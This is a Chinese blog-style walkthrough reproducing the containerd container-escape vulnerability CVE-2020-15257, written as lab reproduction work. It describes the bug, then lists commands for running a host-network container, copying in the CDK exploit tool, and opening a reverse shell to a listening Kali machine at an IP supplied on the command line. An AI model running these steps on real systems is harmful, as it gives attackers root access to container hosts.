Docker容器逃逸漏洞复现(CVE-2020-15257)

Docker容器逃逸漏洞复现(CVE-2020-15257)

漏洞简介

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

影响版本

containerd < 1.4.3
containerd < 1.3.9

漏洞复现

1.查看containerd版本
docker version
Docker容器逃逸漏洞复现(CVE-2020-15257)_第1张图片
2.通过 --net=host 作为启动参数来运行一个容器,–net=host启动的容器会和主机共享一个网络,不需要做端口映射。
docker run -it --net=host ubuntu:18.04 /bin/bash
上述命令执行完成后会自动进入容器。
Docker容器逃逸漏洞复现(CVE-2020-15257)_第2张图片
3.在被攻击机docker容器中执行命令,可看到抽象命名空间Unix域套接字

命令:cat /proc/net/unix|grep -a “containerd-shim”

原理备注:containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作为abstract unix socket暴露,在docker使用–net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。
Docker容器逃逸漏洞复现(CVE-2020-15257)_第3张图片
4.下载poc拷贝到容器 /tmp目录下
docker cp ./cdk_linux_386 容器ID:/tmp
下载链接:https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
在这里插入图片描述
5.kali开启监听端口8887
Docker容器逃逸漏洞复现(CVE-2020-15257)_第4张图片
6.容器中运行poc
./cdk_linux_386 run shim-pwn “kali-IP” 8887
在这里插入图片描述
7.kali已成功连接
Docker容器逃逸漏洞复现(CVE-2020-15257)_第5张图片
8.查看发现该连接为主机连接,并非容器。至此已成功实现docker容器逃逸。

你可能感兴趣的:(漏洞复现,docker,容器逃逸,docker)